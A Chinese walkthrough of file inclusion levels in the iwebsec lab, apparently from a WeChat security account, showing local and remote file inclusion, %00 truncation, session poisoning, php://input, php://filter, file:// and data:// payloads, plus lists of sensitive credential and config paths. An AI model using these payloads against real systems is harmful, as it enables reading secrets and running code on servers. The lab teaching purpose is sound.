环境介绍:
靶场:iwebsec,工具:burp,蚁剑
一、前提介绍
文件包含概述:
服务器在执行php文件时,可以用文件包含函数远程加载另一个文件的php代码,这带给了开发人员极大的便利!
文件包含常见函数:
require(),require_once(),include(),include_once()
文件包含漏洞原因:
使用文件包含函数包含的文件未进行过滤,从而包含危险的文件
二、靶场通关
第一关:本地文件包含(LFI)
废话不多说,打开靶场
通过图中可知,test.txt为包含的文件,查看test.txt内容为phpinfo,接下来进行文件包含
可以发现text文件被解析成了php文件
第二关:本地文件包含绕过
打开靶场,和上一关一样,url后面代入被包含的文件:?filename=test.txt
发现报错了,这里进行绕过,因为php基于c语言,以0为字符进行结尾,所有可以使用 或者%00进行截断,这里在被包含的文件后面加上%00即可绕过,值得一提的是使用00截断的条件:magic_quotes_gpc = Off php版本<5.3.4
3、第三关:session本地文件包含
利用条件:拥有session文件存储的位置,以及session文件可控
seesion文件的存储位置可以在网站的phpinfo页面查看,或者进行盲猜 比如linux下的存储位置就是在/var/lib/php/session目录下
session文件名的构造:sess_ + sessionid ,sessionid可以在cookie页面进行查看
这里的文件名为:sess_6h7n1org3rkgl301jot9lt4n62 到shell页面查看下,也确实存在
打开第三关,发现url上面显示的内容和前面两关的并不一样,通过分析发现,在其后面所输入的内容会被存储到session文件当中,那么就可以输入恶意代码,然后进行文件包含,这里输入<?php phpinfo(); ?>
发现session已经进行存储,然后使用文件包含即可
第四关:远程文件包含(RFI)
需要把PHP的配置文件从allow_url_fopen和allow_url_include设置为ON,和本地文件包含相同,都是使用require(),require_once(),include()和include_once()等函数进行包含,不同点在于,本地文件包含,所包含的文件是存储在本地上的,而有时候为了方便,需要动态的包含文件,这就会产生一些攻击漏洞,而危害也比本地文件包含更大。
先在本地编写phpinfo,保存后更改后缀名php为html,然后上传到自己的网站上,地址:http://www.xxx.com/phpinfo.html,然后构造为:/04.php?filename=http://www.xxx.com/phpinfo.html
第五关:远程文件包含绕过
参考第二关,绕过方法相同,添加%00即可
第六关:php://filter伪协议
php://filter介绍:php://filter为php伪协议的一种,设计用来过滤筛选文件
利用:非php语法文件include失败直接输出源码,php语法文件include成功,直接执行php代码。
如非想直接读取php语法文件可以先base64编码,再传入include函数,这样就不会被认为是php语法文件,输出的base64编码,解码即可。
打开靶场
直接进行包含:/06.php?filename=php://filter/resource=test.txt
test.txt中的php代码被完美执行,接下来修改test.txt为123,看一下效果
无法识别到php代码,直接输出其内容,修改回去再试下base64编码:/06.php?filename=php://filter/convert.base64-encode/resource=test.txt
PD9waHAgcGhwaW5mbygpOz8+Cg==解码看一下
第七关:php://input伪协议
php://input介绍:访问请求的原始数据的只读流
利用方式:将post请求中的数据作为PHP代码执行
打开靶场(...附:第七关和第八关相同)
访问/08.php?filename=php://input ,然后使用burp拦截数据包,把GET请求修改为POST,然后在最下面加上php代码
成功执行POST请求中的php代码
第八关:file://伪协议利用
file://介绍:用于访问本地系统
利用:file://文件的绝对路径+文件名
Windows下敏感路径:
C:boot.ini //系统版本
C:windowsrepairSAM //初次安装密码
C:windowsphp.ini //php配置文件
C:windowsmy.ini //mysql配置文件,记录管理员登录过的账号密码
C:mysqldatamysqluser.MYD //存储了mysql.user表中的数据库连接密码
C:windowssystem32inetsrvMetaBase.xml //查看IIS的虚拟主机配置
Linux下敏感路径:
/etc/passwd //账户信息
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/usr/local/apache2/conf/httpd.conf //apache2缺省配置文件
打开靶场
靶场环境为linux系统,读取其账户信息:/09.php?filename=file:///etc/passwd
第九关:data://伪协议利用
data协议介绍:数据流封装器,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
利用条件:php<5.3且allow_url_fopen和allow_url_include都为On时
data协议常用数据格式:
data://,<文本数据>
data://text/plain,<文本数据>
data://text/html,<html代码>
data://text/html;base64,<base64编码的html代码>
data://text/css,<CSS代码>
data://text/javascript,<js代码>
data://text/javascript;base64,<base64编码的javascript代码>
data://text/jpg;base64,<base64编码的jpg图片数据>
打开靶场
先使用html数据格式试一下:/10.php?filename=data://text/html,<a>1</a>
输出phpinfo:/10.php?filename=data://application/octet-stream,<?php phpinfo(); ?>
本文始发于微信公众号(疯猫网络):WEB安全-文件包含
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论